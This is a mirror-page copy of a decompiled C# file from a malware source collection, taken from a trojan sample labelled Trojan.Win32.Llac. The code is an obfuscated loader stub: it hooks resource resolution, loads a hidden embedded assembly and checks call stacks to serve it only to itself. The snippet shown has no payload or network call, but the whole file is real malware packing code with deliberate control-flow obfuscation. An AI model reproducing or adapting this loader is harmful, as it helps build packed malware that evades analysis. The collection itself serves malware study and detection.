mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
151 lines
3.6 KiB
C#
151 lines
3.6 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
|
|||
|
namespace \u0002
|
|||
|
{
|
|||
|
internal class \u0002
|
|||
|
{
|
|||
|
private static Assembly \u0001 = (Assembly) null;
|
|||
|
private static string[] \u0001 = new string[0];
|
|||
|
|
|||
|
internal static void \u0002()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0002.\u0002);
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private static Assembly \u0002([In] object obj0, [In] ResolveEventArgs obj1)
|
|||
|
{
|
|||
|
if ((object) \u0002.\u0002.\u0001 == null)
|
|||
|
{
|
|||
|
lock (\u0002.\u0002.\u0001)
|
|||
|
{
|
|||
|
\u0002.\u0002.\u0001 = Assembly.Load("{f2578e04-53d1-4a66-bdbe-1306606f031b}, PublicKeyToken=3e56350693f7355e");
|
|||
|
if ((object) \u0002.\u0002.\u0001 != null)
|
|||
|
\u0002.\u0002.\u0001 = \u0002.\u0002.\u0001.GetManifestResourceNames();
|
|||
|
}
|
|||
|
}
|
|||
|
string name = obj1.Name;
|
|||
|
if (true)
|
|||
|
{
|
|||
|
int index = 0;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
int num1 = index;
|
|||
|
int num2 = \u0002.\u0002.\u0001.Length;
|
|||
|
if (true)
|
|||
|
goto label_17;
|
|||
|
label_8:
|
|||
|
if (num2 != 0)
|
|||
|
goto label_18;
|
|||
|
label_9:
|
|||
|
if (num2 == 0)
|
|||
|
{
|
|||
|
if (num1 == 0)
|
|||
|
num1 = index;
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
index = num1 + 1;
|
|||
|
continue;
|
|||
|
label_17:
|
|||
|
num2 = num2;
|
|||
|
label_18:
|
|||
|
if (true)
|
|||
|
{
|
|||
|
if (num1 < num2)
|
|||
|
{
|
|||
|
int num3 = \u0002.\u0002.\u0001[index] == name ? 1 : 0;
|
|||
|
num2 = 0;
|
|||
|
num1 = num3;
|
|||
|
goto label_8;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_20;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_9;
|
|||
|
}
|
|||
|
if (!\u0002.\u0002.\u0002())
|
|||
|
return (Assembly) null;
|
|||
|
goto label_13;
|
|||
|
label_20:
|
|||
|
return (Assembly) null;
|
|||
|
}
|
|||
|
label_13:
|
|||
|
return \u0002.\u0002.\u0001;
|
|||
|
}
|
|||
|
|
|||
|
private static bool \u0002()
|
|||
|
{
|
|||
|
bool flag;
|
|||
|
try
|
|||
|
{
|
|||
|
if (true)
|
|||
|
{
|
|||
|
StackFrame[] frames = new StackTrace().GetFrames();
|
|||
|
int index = 2;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
int num1 = index;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
int length = frames.Length;
|
|||
|
if (num1 >= length)
|
|||
|
{
|
|||
|
flag = false;
|
|||
|
goto label_17;
|
|||
|
}
|
|||
|
else if ((object) frames[index].GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly())
|
|||
|
{
|
|||
|
int num2 = 1;
|
|||
|
if (num2 != 0)
|
|||
|
{
|
|||
|
flag = num2 != 0;
|
|||
|
goto label_17;
|
|||
|
}
|
|||
|
else
|
|||
|
num1 = num2;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
num1 = index + 1;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
index = num1;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
int num;
|
|||
|
for (int index = 0; index == 0; index = num)
|
|||
|
{
|
|||
|
num = 1;
|
|||
|
if (num != 0)
|
|||
|
{
|
|||
|
flag = num != 0;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
label_17:
|
|||
|
return flag;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|